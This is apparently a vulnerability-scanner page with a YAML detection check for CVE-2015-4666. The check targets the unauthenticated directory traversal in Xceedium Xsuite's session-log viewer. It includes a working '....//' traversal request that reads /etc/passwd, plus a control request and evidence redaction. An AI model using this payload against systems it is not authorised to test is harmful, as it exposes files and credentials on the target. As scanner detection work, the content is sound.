Xceedium Xsuite — 1 vulnerability check

noctis ships 1 vulnerability check for Xceedium Xsuite, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Xceedium Xsuite read_sessionlog.php Directory Traversal

CVECVE-2015-4666
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/xceedium-xsuite/CVE-2015-4666.yaml

Tests Xceedium Xsuite (later CA Privileged Access Manager) for the unauthenticated directory traversal in the session-log viewer /opm/read_sessionlog.php (Xsuite 2.4.4.5 and earlier). The viewer strips "../" from the logFile parameter only once, so the feed sends a logFile made of "....//" sequences, which collapse back to "../", pointing to /etc/passwd; the content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read. The password field and gecos of the uid-0 line are redacted from the evidence, and so are the name and home directory of a non-root uid-0 account.

How noctis detects it

  1. HTTP(S) request GET /opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd.noctis-absent-{{o…
  5. Checks ctrl_r.body for (?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:
  6. Checks proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Xceedium Xsuite read_sessionlog.php Directory Traversal (CVE-2015-4666)

References:

Feed source — tests/vulnerabilities/xceedium-xsuite/CVE-2015-4666.yaml
# Xceedium Xsuite read_sessionlog.php directory traversal — CVE-2015-4666
#
# Xceedium Xsuite (later CA Privileged Access Manager) 2.4.4.5 and earlier
# serve the session-log viewer /opm/read_sessionlog.php without
# authentication. It prefixes the logFile parameter with /opt/rpath/, then
# "sanitises" it with a single preg_replace("/\.\.\//", "", …) pass, so
# "....//" collapses back to "../" and the path escapes /opt/rpath; the file
# is then streamed back by output_file() (modzero advisory MZ-15-02, §3.3).
#
# Detection (benign, read-only): GET
#   /opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd
# (the request of the source NASL, the Nuclei template and the advisory) and
# match the CONTENT of /etc/passwd. QoD 75 (response analysis). The ....//
# sits in the query string, which http_request sends verbatim.
#
# Improvements over the source NASL:
#   - A control request (same parameter, absent random file whose name still
#     contains "etc/passwd") must come back WITHOUT a passwd line; a blanket
#     responder or a honeypot keying a fake passwd on the substring is not
#     reported (fail-closed: no control reply → no finding). On a real Xsuite
#     the absent file takes the "File (…) does not exist." branch.
#   - The NASL needs its Xsuite login-page detection first; the feed probes the
#     fixed script path directly, so a box with a customised login page is
#     still tested.
#   - A uid-0 passwd line is accepted at the start of a line or right after an
#     HTML tag; the password field and gecos are redacted before they reach
#     the finding, and so are the name and home:shell of a non-root uid-0
#     account (they would identify it). Windows files are not probed
#     (Xsuite is a Linux appliance).
#
# CVEs: the NASL lists CVE-2015-4664 … CVE-2015-4669 (every flaw of the
# advisory). This request proves the directory traversal (CVE-2015-4666)
# only; the login-form command injection (4664), ajax_cmd.php XSS (4665),
# hardcoded credentials (4667), openwin.php open redirect (4668) and the
# local passwordless MySQL root (4669) are not tested, so the feed does not
# name them. CVSS: CVE-2015-4666 v2 5.0 (NVD, no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_xceedium_xsuite_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.807086, GPL-2.0-only).
uid: 5671be6b-fb50-4132-87dd-1657df1a228a
name: "Xceedium Xsuite read_sessionlog.php Directory Traversal (CVE-2015-4666)"
description: |
  Tests Xceedium Xsuite (later CA Privileged Access Manager) for the
  unauthenticated directory traversal in the session-log viewer
  /opm/read_sessionlog.php (Xsuite 2.4.4.5 and earlier). The viewer strips
  "../" from the logFile parameter only once, so the feed sends a logFile
  made of "....//" sequences, which collapse back to "../", pointing to
  /etc/passwd; the content of /etc/passwd in the reply confirms the file read.
  A control request for an absent random file through the same parameter must
  not return any passwd line, so a server that serves the same content on
  every request is not reported. Only the world-readable /etc/passwd is read.
  The password field and gecos of the uid-0 line are redacted from the
  evidence, and so are the name and home directory of a non-root uid-0 account.
cves: [CVE-2015-4666]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [xceedium, xsuite, ca-pam, privileged-access, path-traversal, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-4666"
  - "https://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt"
  - "https://www.exploit-db.com/exploits/37708"
  - "https://packetstormsecurity.com/files/132809"
  # OpenVAS/Greenbone NASL 2016/gb_xceedium_xsuite_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through logFile (....// survives the single strip) ──
  - id: read-passwd
    action: http_request
    method: GET
    path: "/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "passwd_r.status == 200"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    condition: "passwd_r.status == 200"
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: proof

  # ── Control: same parameter, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that
  # keys a fake file on that substring answers it too.
  - id: control
    action: http_request
    method: GET
    path: "/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
    condition: 'proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report-passwd
    action: match
    source: proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Xceedium Xsuite read_sessionlog.php Directory Traversal (CVE-2015-4666)"
        description: "An unauthenticated GET to /opm/read_sessionlog.php with a logFile parameter made of ....// sequences returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the Xsuite web server user can read, such as session recordings and configuration files."
        remediation: "Xsuite 2.4.4.5 and earlier are affected and no vendor fix was announced for this release line; move to a supported CA / Broadcom Privileged Access Manager release, and keep the management interface off untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /opm/read_sessionlog.php?logFile=....//(x4)etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub